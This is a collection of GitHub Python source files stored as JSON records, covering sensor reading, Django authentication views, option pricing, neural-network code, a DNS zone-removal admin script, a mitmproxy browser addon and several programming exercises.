+{"seq_id":"32205241047","text":"from CQRobot_ADS1115 import ADS1115\nimport time\n\n\n\n\n\ndef get_ec_level():\n ADS1115_REG_CONFIG_PGA_6_144V = 0x00 # 6.144V range = Gain 2/3\n ads1115 = ADS1115()\n\n # Set the IIC address\n ads1115.setAddr_ADS1115(0x48)\n\n # Sets the gain and input voltage range.\n ads1115.setGain(ADS1115_REG_CONFIG_PGA_6_144V)\n\n VREF = 5.0\n analogBuffer = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n analogBufferTemp = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n analogBufferIndex = 0\n copyIndex = 0\n averageVoltage = 0\n tdsValue = 0\n temperature = 25\n\n def getMedianNum(iFilterLen):\n nonlocal analogBufferTemp\n bTemp = 0.0\n for j in range(iFilterLen-1):\n for i in range(iFilterLen-j-1):\n if analogBufferTemp[i] > analogBufferTemp[i+1]:\n bTemp = analogBufferTemp[i]\n analogBufferTemp[i] = analogBufferTemp[i+1]\n analogBufferTemp[i+1] = bTemp\n if iFilterLen & 1 > 0:\n bTemp = analogBufferTemp[(iFilterLen - 1)//2]\n else:\n bTemp = (analogBufferTemp[iFilterLen // 2] + analogBufferTemp[iFilterLen // 2 - 1]) / 2\n return float(bTemp)\n\n analogSampleTimepoint = time.time()\n printTimepoint = time.time()\n\n while True:\n if time.time() - analogSampleTimepoint > 0.04:\n analogSampleTimepoint = time.time()\n analogBuffer[analogBufferIndex] = ads1115.readVoltage(1)['r']\n analogBufferIndex = analogBufferIndex + 1\n if analogBufferIndex == 30:\n analogBufferIndex = 0\n\n if time.time() - printTimepoint > 0.8:\n printTimepoint = time.time()\n for copyIndex in range(30):\n analogBufferTemp[copyIndex] = ads1115.readVoltage(1)['r']\n\n averageVoltage = getMedianNum(30) * (VREF / 1024.0)\n compensationCoefficient = 1.0 + 0.02 * (temperature - 25.0)\n compensationVolatge = averageVoltage / compensationCoefficient\n ec_level = (133.42 * compensationVolatge * compensationVolatge * compensationVolatge - 255.86 * compensationVolatge * compensationVolatge + 857.39 * compensationVolatge) * 0.5\n\n return ec_level\n\nif __name__ == \"__main__\":\n print(get_ec_level())\n","repo_name":"sivn-glitch/Cura-Viridi-Images","sub_path":"get_ec_level.py","file_name":"get_ec_level.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23769648523","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate ,login, logout\nfrom .models import User\n#from social_django.utils import psa\n#from social_core.actions import do_auth\nfrom .form import RegisterUserForm\nfrom resume.models import Resume\nfrom company.models import Company\n\n\n#register applicant only\ndef register_applicant(request):\n if request.method == 'POST':\n form = RegisterUserForm(request.POST)\n if form.is_valid():\n var = form.save(commit = False)\n var.is_applicant = True\n var.username = var.email\n var.save()\n Resume.objects.create(user=var)\n messages.info(request, 'Your account has been creates. Please login')\n return redirect('login')\n else:\n print(form.errors)\n messages.warning(request, 'Something went wrong')\n return redirect('register-applicant')\n else:\n form = RegisterUserForm()\n context = {'form':form}\n return render(request, 'users/register_applicant.html',context)\n \n\n #register recruiter only\ndef register_recruiter(request):\n if request.method == 'POST':\n form = RegisterUserForm(request.POST)\n if form.is_valid():\n var = form.save(commit = False)\n var.is_recruiter = True\n var.username=var.email\n\n var.save()\n Company.objects.create(user=var)\n \n messages.info(request,'Your account has been created . Please login')\n return redirect('login')\n else:\n messages.warning(request,'Something went wrong')\n return redirect('register-recruiter')\n else:\n form = RegisterUserForm()\n context={'form':form}\n return render(request,'users/register_recruiter.html',context) \n\n\n\n #login a user\ndef login_user(request):\n if request.method == 'POST':\n email=request.POST.get('email')\n password=request.POST.get('password')\n\n user = authenticate(request, username=email, password=password)\n if user is not None and user.is_active:\n login(request,user)\n return redirect('dashboard')\n # if request.user.is_applicant:\n # return redirect('applicant-dashboard')\n # elif request.user.is_recruiter:\n # return redirect('recruiter-dashboard')\n # else :\n # return redirect('login')\n else:\n messages.warning(request,'Something went wrong')\n return redirect('login') \n else:\n return render(request, 'users/login.html')\n \n# @psa('social:complete')\n# def social_login(request, backend):\n# \"\"\"Social media authentication view\"\"\"\n# return do_auth(request.backend, redirect_name='social-login-callback')\n\n# @psa('social:complete')\n# def social_login_callback(request, backend):\n# \"\"\"Social media authentication callback view\"\"\"\n# user = request.backend.do_auth(request.GET.get('access_token'))\n# if user:\n# login(request, user)\n# return redirect('dashboard')\n# else:\n# messages.warning(request, 'Social media authentication failed')\n# return redirect('login')\n\n#logout a user\n\ndef logout_user(request):\n try:\n logout(request)\n messages.info(request, 'Your session has ended')\n return redirect('login')\n except Exception as e:\n messages.warning(request, 'An error occurred during logout')\n return redirect('login')\n\n\n \n","repo_name":"youFness/bachelor-project","sub_path":"django_project/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15365069078","text":"import math\nimport numpy as np\nfrom numpy.random import standard_normal as StdNormal\nfrom scipy.stats import norm\n\nclass basketGeo:\n\n def __init__(self, s0_1 = None, s0_2 = None, sigma_1 = None, sigma_2 = None, r = 0, T = 0, K = None, rho = None, option = None):\n\n self.s0_1 = s0_1\n self.s0_2 = s0_2\n self.sigma_1 = sigma_1\n self.sigma_2 = sigma_2\n self.r = r\n self.T = T\n self.K = K\n self.rho = rho\n self.option = option\n\n def basketGeoPrice(self, t = 0):\n\n s0_1, s0_2, sigma_1, sigma_2, r, T, K, rho = self.s0_1, self.s0_2, self.sigma_1, self.sigma_2, self.r, self.T, self.K, self.rho\n \n C11, C12, C22 = 1, rho, 1 \n sigma_B = math.sqrt((sigma_1**2)*C11 + 2*sigma_1*sigma_2*C12 + sigma_2**2*C22)/2\n mu = r - (1/2)*((sigma_1**2 + sigma_2**2)/2) + (1/2)*sigma_B**2\n \n Bg = math.sqrt(s0_1*s0_2)\n d1 = (math.log(Bg/K) + (mu + (1/2)*sigma_B**2)*T)/(sigma_B*math.sqrt(T))\n d2 = d1 - sigma_B*math.sqrt(T)\n\n if self.option == \"call\":\n N_d1 = norm.cdf(d1)\n N_d2 = norm.cdf(d2)\n \n return math.e**(-(r*T))*(Bg*math.e**(mu*T)*N_d1 - K*N_d2)\n\n elif self.option == \"put\":\n N_d1 = norm.cdf(-d1)\n N_d2 = norm.cdf(-d2)\n\n return math.e**(-(r*T))*(K*N_d2 - Bg*math.e**(mu*T)*N_d1)\n\nclass basketArith(basketGeo):\n\n def __init__(self, s0_1=None, s0_2=None, sigma_1=None, sigma_2=None, r=0, T=0, K=None, rho=None, option=None, m=100000, control_variate=False):\n\n basketGeo.__init__(self, s0_1, s0_2, sigma_1, sigma_2, r, T, K, rho, option)\n self.m = m\n self.control_variate = control_variate\n\n def pricing(self):\n\n n = 2\n m = self.m\n sigsqT = (self.sigma_1**2+2*self.sigma_1*self.sigma_2*self.rho+self.sigma_2**2)/(n**2)\n muT = (self.r - 0.5*((self.sigma_1**2+self.sigma_2**2)/n) + 0.5*sigsqT)*self.T\n\n Ba = [0] * m\n Bg0 = np.sqrt(self.s0_1 * self.s0_2)\n\n d1 = (np.log(Bg0/self.K) + (muT + 0.5*sigsqT*self.T))/(np.sqrt(sigsqT)*np.sqrt(self.T))\n d2 = d1 - np.sqrt(sigsqT)*np.sqrt(self.T)\n\n N1 = norm.cdf(d1)\n N2 = norm.cdf(d2)\n\n N1_ = norm.cdf(-d1)\n N2_ = norm.cdf(-d2)\n\n drift_1 = np.exp((self.r - 0.5 * self.sigma_1 ** 2) * self.T)\n drift_2 = np.exp((self.r - 0.5 * self.sigma_2 ** 2) * self.T)\n\n arithPayoff = [0] * m\n geoPayoff_call = [0] * m\n geoPayoff_put = [0] * m\n\n for i in range(m):\n\n s = i + 2*i\n np.random.seed(s)\n Z_1 = np.random.normal(0, 1, 1)\n Z_2 = self.rho*Z_1+np.sqrt(1-self.rho**2)*np.random.normal(0, 1, 1)\n S_1 = self.s0_1*drift_1 * np.exp(self.sigma_1 * np.sqrt(self.T) * Z_1)\n S_2 = self.s0_2*drift_2 * np.exp(self.sigma_2 * np.sqrt(self.T) * Z_2)\n \n Ba[i] = (1/n)*(S_1 + S_2)\n geoMean = np.exp((1/n) * (np.log(S_1) + np.log(S_2)))\n geoPayoff_call[i] = np.exp(-self.r*self.T)*max(geoMean-self.K, 0)\n geoPayoff_put[i] = np.exp(-self.r*self.T)*max(self.K-geoMean, 0)\n \n if self.option == \"call\":\n \n arithPayoff[i] = Ba[i] - self.K\n if arithPayoff[i] > 0:\n arithPayoff[i] = np.exp(-self.r*self.T)*arithPayoff[i]\n else:\n arithPayoff[i] = 0\n\n elif self.option == \"put\":\n\n arithPayoff[i] = self.K - Ba[i]\n if arithPayoff[i] > 0:\n arithPayoff[i] = np.exp(-self.r*self.T)*arithPayoff[i]\n else:\n arithPayoff[i] = 0\n \n Pmean = float(np.mean(arithPayoff))\n Pstd = np.std(arithPayoff)\n confmc = (Pmean-1.96*Pstd/np.sqrt(m), Pmean+1.96*Pstd/np.sqrt(m))\n\n if not self.control_variate:\n return Pmean, confmc\n else:\n conXY_call = np.mean(np.multiply(arithPayoff, geoPayoff_call)) - (np.mean(arithPayoff) * np.mean(geoPayoff_call))\n theta_call = conXY_call / np.var(geoPayoff_call)\n conXY_put = np.mean(np.multiply(arithPayoff, geoPayoff_put)) - (np.mean(arithPayoff) * np.mean(geoPayoff_put))\n theta_put = conXY_put / np.var(geoPayoff_put)\n\n if self.option == 'call':\n geo_call = np.exp(-self.r * self.T) * (Bg0 * np.exp(muT) * N1 - self.K * N2)\n Z = arithPayoff + theta_call * (geo_call - geoPayoff_call)\n\n elif self.option == 'put':\n geo_put = np.exp(-self.r * self.T) * (self.K * N2_ - Bg0 * np.exp(muT) * N1_)\n Z = arithPayoff + theta_put * (geo_put - geoPayoff_put)\n\n Zmean = np.mean(Z)\n Zstd = np.std(Z)\n confmc = (Zmean-1.96 * Zstd / np.sqrt(m), Zmean+1.96*Zstd/np.sqrt(m))\n return Zmean, confmc","repo_name":"arawndinog/mini_option_pricer","sub_path":"basket_option.py","file_name":"basket_option.py","file_ext":"py","file_size_in_byte":4935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25237482058","text":"import tensorflow as tf\nimport numpy as np\n\nOUT_DIM = {2: 39, 4: 35, 6: 31}\n\nclass PixelDecoder(tf.keras.Model):\n def __init__(self, obs_dim, feature_dim = 50, layer_num=2, filter_num=32, data_format='channels_first', activation='relu', kernel_initializer='glorot_uniform', bias_initializer='zeros'):\n super(PixelDecoder, self).__init__()\n\n self.obs_dim = obs_dim\n self.feature_dim = feature_dim\n self.layer_num = layer_num\n self.filter_num = filter_num\n\n self.out_dim = OUT_DIM[layer_num]\n\n self.input_layer = tf.keras.layers.InputLayer(input_shape=(self.feature_dim), name='Input')#input shape: (b, feature_dim), output shape: (b, 3, 84, 84), etc\n\n self.fc = tf.keras.layers.Dense(self.filter_num * self.out_dim * self.out_dim, activation = activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer)\n self.reshape = tf.keras.layers.Reshape(target_shape=(self.filter_num, self.out_dim, self.out_dim))\n\n self.deconv_layers = []\n for i in range(self.layer_num - 1):\n self.deconv_layers.append(tf.keras.layers.Conv2DTranspose(filters=self.filter_num, kernel_size=3, strides=1, data_format=data_format, activation=activation, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer))\n\n self.deconv_layers.append(tf.keras.layers.Conv2DTranspose(filters=self.obs_dim[0], kernel_size=3, strides=2, output_padding=1, data_format=data_format, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer))\n\n self(tf.constant(np.zeros(shape=(1,) + (self.feature_dim,), dtype=np.float32)))\n\n @tf.function\n def call(self, feature):\n z = self.input_layer(feature)\n\n z = self.fc(z)\n z = self.reshape(z)\n\n for deconv in self.deconv_layers:\n z = deconv(z)\n\n return z\n\nif __name__ == '__main__':\n b = PixelDecoder((9, 84, 84), layer_num=4)\n input = tf.random.normal((3,50))\n b(input)\n print(b(input).shape)\n b.summary()","repo_name":"Cerphilly/SimpleRL","sub_path":"Network/Decoder.py","file_name":"Decoder.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"}
+{"seq_id":"74334389314","text":"# # 저울 문제\n# n = int(input())\n# weights = list(map(int, input().split()))\n# left = []\n# right = []\n# array = [1, 2, 5, 10, 20, 50, 100]\n# array.sort(reverse=True)\n# count = 0\n# for i in range(0, n, 2):\n# left.append(weights[i])\n# if i >= 2 and i-1 < n:\n# right.append(weights[i-1])\n# sumA = sum(left)\n# sumB = sum(right)\n# minus = sumA-sumB\n# if minus == 0:\n# print(0)\n# elif minus < 0:\n# minus*-1\n# for ar in array:\n# count += minus//ar\n# minus %= ar\n\n# print(count)\n# 잘 못 짠 코드\n# 아래가 맞게 짠코드\n# 나와의 차이점은 왼쪽 오른쪽을 문제를 잘 못 해석하여 i,i+1인 것으로 구분하였는데\n# 그것이 ��닌 상황에 맞게 왼쪽에 자갈을 할지 오른쪽에 자갈을 올릴지 결정해야 한다.\nn = int(input())\nPebbles = list(map(int, input().split())) # 자갈들 무게\ns = [0, 0] # 저울의 왼쪽, 오른쪽\n\nfor p in Pebbles:\n if s[0] <= s[1]: # 오른쪽이 무겁거나 같으면\n s[0] += p # 왼쪽에 자갈 달기\n else: # 왼쪽이 무거우면\n s[1] += p # 오른쪽에 자갈 달기\n\ndiff = abs(s[0]-s[1]) # 남은 무게 차이\nans = 0 # 추가로 필요한 추의 개수\n\nwhile diff:\n for w in (100, 50, 20, 10, 5, 2, 1): # 무거운 추부터 꺼냄\n ans += diff//w # w가 몇 개 필요한지 ans에 더하기\n diff %= w # 무게가 w들을 추가로 달고 남은 무게\n\nprint(ans)\n","repo_name":"zsert1/algo_study_greedy","sub_path":"greedy/back25943.py","file_name":"back25943.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29579246910","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport configparser\nfrom pathlib import Path\nimport LogWidget\n\nclass Singleton(type):\n _instances = {}\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)\n return cls._instances[cls]\n\n#Python2\n#class MyClass(BaseClass):\n# __metaclass__ = Singleton\n\n#Python3\nclass AppProject(metaclass=Singleton):\n def __init__(self):\n #super(AppProject, self).__init__() \n self.mFilePath = u''\n self.mDBFolder = u'db'\n self.mSimFolder = u'sim'\n self.mLogWdg = None\n\n def reset(self):\n self.mFilePath = u''\n self.mDBFolder = u'db'\n self.mSimFolder = u'sim'\n \n def save(self):\n if self.mFilePath !='' and Path( self.mFilePath ).parent.exists(): \n config = configparser.ConfigParser()\n config['Paths'] = {'DB': self.mDBFolder,\n 'Sim': self.mSimFolder}\n \n with open(self.mFilePath, 'w') as projectfile:\n config.write(projectfile)\n\n\n def load(self):\n config = configparser.ConfigParser()\n if self.mFilePath !='' and Path( self.mFilePath ).exists():\n config.read(self.mFilePath)\n self.mDBFolder = config['Paths']['DB']\n self.mSimFolder = config['Paths']['Sim'] \n \n def creatFolder(self):\n profile = Path( self.mFilePath )\n if self.mFilePath !='' and profile.exists():\n dirPath = (profile.parent / self.mDBFolder)\n if not dirPath.exists() :\n dirPath.mkdir()\n dirPath = (profile.parent / self.mSimFolder)\n if not dirPath.exists() :\n dirPath.mkdir() \n \n def getPath(self,pathType,dfFileName):\n profile = Path( self.mFilePath )\n if self.mFilePath !='' and profile.exists():\n if( pathType ) == 'DB' :\n return str( profile.parent / self.mDBFolder / dfFileName )\n if( pathType ) == 'Sim' :\n return str( profile.parent / self.mSimFolder / dfFileName )\n else:\n return ''\n \n","repo_name":"sh601857/PySideSample","sub_path":"AppProject.py","file_name":"AppProject.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"18987436592","text":"import numpy as np\nnp.random.seed(1337) # for reproducibility\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\n\n# create some data\nX = np.linspace(0, 1, 1000)\nnp.random.shuffle(X) # randomize the data\nY = 3 * X * X * X + 2 * X * X + X + np.random.normal(0, 0.05, (1000, ))\n# plot data\nplt.scatter(X, Y)\nplt.show()\n\nX_train, Y_train = X[:700], Y[:700] # first 700 data points\nX_test, Y_test = X[700:], Y[700:] # last 300 data points\n\n# build the neural network\nmodel = Sequential()\nmodel.add(Dense(input_dim=1, output_dim=10))\nmodel.add(Activation('relu'))\nmodel.add(Dense(output_dim=10))\nmodel.add(Activation('relu'))\nmodel.add(Dense(output_dim=1))\nmodel.compile(loss='mse', optimizer='sgd')\n\n# training\nprint('Training -----------')\nfor step in range(5000):\n cost = model.train_on_batch(X_train, Y_train)\n if step % 100 == 0:\n print('train cost: ', cost)\n\n# test\nprint('\\nTesting ------------')\ncost = model.evaluate(X_test, Y_test, batch_size=300)\nprint('test cost:', cost)\nW, b = model.layers[0].get_weights()\nprint('Weights=', W, '\\nbiases=', b)\n\nX_test_order = np.sort(X_test)\n\n# # plotting the prediction\nY_pred = model.predict(X_test_order)\nplt.scatter(X_test, Y_test)\nplt.plot(X_test_order, Y_pred, 'r-')\nplt.show()\n","repo_name":"wwxFromTju/python-keras","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"59550057","text":"import shutil\nimport subprocess\nimport tempfile\nimport typing\n\nfrom mitmproxy import command\nfrom mitmproxy import ctx\n\n\ndef get_chrome_executable() -> typing.Optional[str]:\n for browser in (\n \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\",\n # https://stackoverflow.com/questions/40674914/google-chrome-path-in-windows-10\n r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\",\n r\"C:\\Program Files (x86)\\Google\\Application\\chrome.exe\",\n # Linux binary names from Python's webbrowser module.\n \"google-chrome\",\n \"google-chrome-stable\",\n \"chrome\",\n \"chromium\",\n \"chromium-browser\",\n ):\n if shutil.which(browser):\n return browser\n return None\n\n\nclass Browser:\n browser = None\n tdir = None\n\n @command.command(\"browser.start\")\n def start(self) -> None:\n \"\"\"\n Start an isolated instance of Chrome that points to the currently\n running proxy.\n \"\"\"\n if self.browser:\n if self.browser.poll() is None:\n ctx.log.alert(\"Browser already running\")\n return\n else:\n self.done()\n\n cmd = get_chrome_executable()\n if not cmd:\n ctx.log.alert(\"Your platform is not supported yet - please submit a patch.\")\n return\n\n self.tdir = tempfile.TemporaryDirectory()\n self.browser = subprocess.Popen(\n [\n cmd,\n \"--user-data-dir=%s\" % str(self.tdir.name),\n \"--proxy-server=%s:%s\" % (\n ctx.options.listen_host or \"127.0.0.1\",\n ctx.options.listen_port\n ),\n \"--disable-fre\",\n \"--no-default-browser-check\",\n \"--no-first-run\",\n \"--disable-extensions\",\n\n \"about:blank\",\n ],\n stdout = subprocess.DEVNULL,\n stderr = subprocess.DEVNULL,\n )\n\n def done(self):\n if self.browser:\n self.browser.kill()\n self.tdir.cleanup()\n self.browser = None\n self.tdir = None\n","repo_name":"panoslin/DouYinSpider","sub_path":"venv/Lib/site-packages/mitmproxy/addons/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"61"}
+{"seq_id":"38743267218","text":"import os\n\n\nlogfile = open(\"/etc/named.conf\", \"rt\")\nloglist = logfile.read()\n\nos.system('python3 ~/files/listzones.py')\n\n\nzoneName = input(\"Insert the name of the zone that you want to remove:\")\n\nzoneName = str(zoneName)\n\nzoneFile = \"/var/named/\"+zoneName+\".hosts\"\n\nzonetxt = \"\"\"zone \\\"\"\"\"+zoneName+\"\"\"\\\" IN {\n\ttype master;\n\tfile \\\"\"\"\"+zoneFile+\"\"\"\\\";\n};\"\"\"\n\nnWanted = \"zone \\\"\"+zoneName+\"\\\" IN {\"\n\n\n\nif str(nWanted) in loglist:\n\n#if there's a zone text block equal to the one defined by the user it is replaced by nothing\n\tloglist = loglist.replace(str(zonetxt), ' ')\n\tos.remove(zoneFile)\n\tos.system('clear')\n\tprint(\"Zoned removed successfully\")\t\n\t\nif not loglist:\n print(\"Not found\")\n\nlogfile.close()\n\t\n\nlogfile = open(\"/etc/named.conf\", \"wt\")\n\n#Inserts the updated lines\nlogfile.write(loglist)\n\nlogfile.close()\n\n\nos.system('systemctl restart named')\nprint(\"The zone was removed successfully\")\n","repo_name":"JOao7640/Linux-Network-Services","sub_path":"dns/removeNZone.py","file_name":"removeNZone.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"1199249258","text":"#!/usr/bin/env python3\n\"\"\"\n2022/03/test_solution.py: pyunit test file for solution\n\"\"\"\n\nimport solution\n\n\n# Test the priority calculation function\ndef test_calculate_priorities():\n \"\"\"\n test_calculate_priorities() - build test data and validate the fxn\n \"\"\"\n\n test_data = [ 'A', 'a', 'M', 'm']\n prios = solution.calculate_priorities(test_data)\n\n assert prios[0] == 27\n assert prios[1] == 1\n assert prios[2] == 39\n assert prios[3] == 13\n\n\n# Specifically test the doppel function\ndef test_get_duplicates():\n \"\"\"\n test_get_duplicates() - build test data and validate get_duplicates()\n \"\"\"\n\n test_data = [\n ('abcdefg', 'ghijklm'),\n ('nopqrst', 'tuvwxyz')\n ]\n\n doppels = solution.get_duplicates(test_data)\n\n assert doppels[0] == 'g'\n assert doppels[1] == 't'\n\n\ndef test_get_badges():\n \"\"\"\n test_get_badges() - build test data and validate get_badges()\n \"\"\"\n\n test_data = [\n 'abcd', 'eafg', 'hiaj',\n 'wxyz', 'tuvz', 'qzrs'\n ]\n\n badges = solution.get_badges(test_data)\n\n assert len(badges) == 2\n assert badges[0] == 'a'\n assert badges[1] == 'z'\n\n\n# Unit testing of the function against the sample data\ndef test_part1_sample(input_file_name=\"sample-part1.txt\", result=157):\n \"\"\"\n Unit testing of Day 1, Part 1 sample input\n \"\"\"\n\n answer = solution.part1(filename=input_file_name)\n assert answer == result\n\n\ndef test_part2_sample(input_file_name=\"sample-part1.txt\", result=70):\n \"\"\"\n Unit testing of Day 1, Part 2 sample input\n \"\"\"\n\n answer = solution.part2(filename=input_file_name)\n assert answer == result\n","repo_name":"broadcaststorm/advent-of-code","sub_path":"2022/03/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3403755432","text":"#cd C:\\Users\\Daniela\\Desktop\\Using_Python_for_Research\\Case_Studies\\6Social_Network_Analysis\n\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nG = nx.karate_club_graph()\nnx.draw(G, with_labels=True, node_color=\"lightblue\", edge_color=\"gray\")\nplt.savefig(\"karate_graph.pdf\")\n\n#4.3.3. Random Graphs\nfrom scipy.stats import bernoulli\n#Creamos un ejemplo de graph ER\ndef er_graph(N, p):\n \"\"\"Generate an ER graph\"\"\"\n G = nx.Graph()\n G.add_nodes_from(range(N))\n for node1 in G.nodes():\n for node2 in G.nodes():\n if node1 < node2 and bernoulli.rvs(p=p): #n1= MAX_DEFECT:\r\n print(\"Manufacturing defect\")\r\n manufacturing_defect_box += 1\r\n number_of_taws_returned += number_of_taws\r\n break\r\n which_taw += 1\r\n print(f\"{which_taw}. taw \")\r\n weight_of_taw = int(input(\"Weight of taw: \"))\r\n if main_weight != weight_of_taw:\r\n defect += 1\r\n different_taw = weight_of_taw\r\n\r\n if defect < MAX_DEFECT:\r\n accepted_boxes += 1\r\n number_of_taws_accepted += number_of_taws\r\n\r\n if defect == 0:\r\n all_taws_equal += 1\r\n while where_heaviest_taw < main_weight:\r\n where_heaviest_taw = main_weight\r\n number_of_taw_in_heaviest_taw = number_of_taws\r\n while where_most_taws < number_of_taws:\r\n where_most_taws = number_of_taws\r\n weight_of_taw_in_most_taws = main_weight\r\n\r\n elif defect == 1:\r\n if main_weight < different_taw:\r\n a_taw_heavier += 1\r\n difference = different_taw - main_weight\r\n percentage_of_difference = difference*100/main_weight\r\n sum_of_differences_for_heavier += difference\r\n sum_of_percentages_for_heavier += percentage_of_difference\r\n while difference > max_difference:\r\n max_difference = difference\r\n percentage_of_max_difference = max_difference*100/main_weight\r\n sign1 = \"+\"\r\n while min_difference > difference:\r\n min_difference = difference\r\n percentage_of_min_difference = min_difference * 100/main_weight\r\n sign2 = \"+\"\r\n elif main_weight > different_taw:\r\n a_taw_lighter += 1\r\n difference = main_weight - different_taw\r\n percentage_of_difference = difference * 100 / main_weight\r\n sum_of_differences_for_lighter += difference\r\n sum_of_percentages_for_lighter += percentage_of_difference\r\n while difference > max_difference:\r\n max_difference = difference\r\n percentage_of_max_difference = max_difference*100/main_weight\r\n sign1 = \"-\"\r\n while min_difference > difference:\r\n min_difference = difference\r\n percentage_of_min_difference = min_difference * 100/main_weight\r\n sign2 = \"-\"\r\n defect = 0\r\n\r\n continuation = input(\"Is there another box? (For yes: Y,y /For no: N,n): \")\r\n while continuation != \"y\" and continuation != \"Y\" and continuation != \"n\" and continuation != \"N\":\r\n continuation = input(\"Please enter one of the Y, y, N, n: \")\r\n # This makes more sense because in this case the user has unlimited error right.\r\n # if I used \"if continuation in list, and else\" the user would have just one error right.\r\npercentage_of_manufacturing_defult = manufacturing_defect_box*100/all_boxes\r\npercentage_of_all_equal = all_taws_equal*100/accepted_boxes\r\npercentage_of_a_taw_heavier = a_taw_heavier*100/accepted_boxes\r\npercentage_of_a_taw_lighther = a_taw_lighter*100/accepted_boxes\r\naverage_sum_of_differences_for_heavier = sum_of_differences_for_heavier/a_taw_heavier\r\naverage_sum_of_percentages_for_heavier = sum_of_percentages_for_heavier/a_taw_heavier\r\naverage_sum_of_differences_for_lighter = sum_of_differences_for_lighter/a_taw_lighter\r\naverage_sum_of_percentages_for_lighter = sum_of_percentages_for_lighter/a_taw_lighter\r\nprint()\r\nprint()\r\nprint(f\"Number of boxes with manufacturing defects and their percentage in all boxes (respectively): {manufacturing_defect_box}, {percentage_of_manufacturing_defult:.2f}%\")\r\nprint(f\"Number of taws returned and accepted (respectively): {number_of_taws_returned}, {number_of_taws_accepted}\")\r\nprint()\r\nprint(f\"Number of boxes in which all taws are of equal weight, 1 taw is heavier than the others, \\nand 1 taw is lighter than the others, and their percentages in boxes without manufacturing \\ndefects (respectively): {percentage_of_all_equal:.2f}%, {percentage_of_a_taw_heavier:.2f}%, {percentage_of_a_taw_lighther:.2f}%\")\r\nprint()\r\nprint(f\"Averages of weight difference values and weight difference percentages of the heavier \\ntaws in boxes where 1 taw is heavier than the others (respectively): +{average_sum_of_differences_for_heavier:.2f}, +{average_sum_of_percentages_for_heavier:.2f}%\")\r\nprint(f\"Averages of weight difference values and weight difference percentages of the light taws \\nin boxes where 1 taw is lighter than the others (respectively): -{average_sum_of_differences_for_lighter:.2f}, -{average_sum_of_percentages_for_lighter:.2f}%\")\r\nprint()\r\nprint(f\"Among the boxes in which all taws are of equal weight, the number of taws in the box \\nwith the largest number of taws and the weight of 1 taw in that box (respectively): {where_most_taws}, {weight_of_taw_in_most_taws}mg\")\r\nprint(f\"Among the boxes in which all taws are of equal weight, the number of taws in the box \\nwith the heaviest taws and the weight of 1 taw in that box: {where_heaviest_taw}mg, {number_of_taw_in_heaviest_taw}\")\r\nprint()\r\nprint(f\"The value, percentage, and sign (heavy or light) of the weight difference where the value \\nof difference between the weight of the different taw and the weight of the other taws in \\nthe box is the largest: {sign1}{max_difference}mg, {sign1}{percentage_of_max_difference:.2f}%\")\r\nprint(f\"The value, percentage, and sign (heavy or light) of the weight difference where the \\npercentage of difference between the weight of the different taw and the weight of the \\nother taws in the box is the smallest: {sign2}{min_difference}mg, {sign2}{percentage_of_min_difference:.2f}%\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mahmutkarabulut1/algorithms-and-programming-1-python","sub_path":"Taw Box Manufacturing Defect Analyzer and Statistics Calculator.py","file_name":"Taw Box Manufacturing Defect Analyzer and Statistics Calculator.py","file_ext":"py","file_size_in_byte":8958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72225415874","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nn=int(input())\nl=[]\nfor _ in range(n):\n l.append(input())\nprint(len(set(l))) \nd={}\nfor i in l:\n if i not in d:\n d[i]=0\n d[i]+=1 \n\n\nfor i in d:\n print(d[i],end=\" \") \n\n","repo_name":"Yukti-09/HackerRank-Solutions","sub_path":"Python/Collections/WordOrder.py","file_name":"WordOrder.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
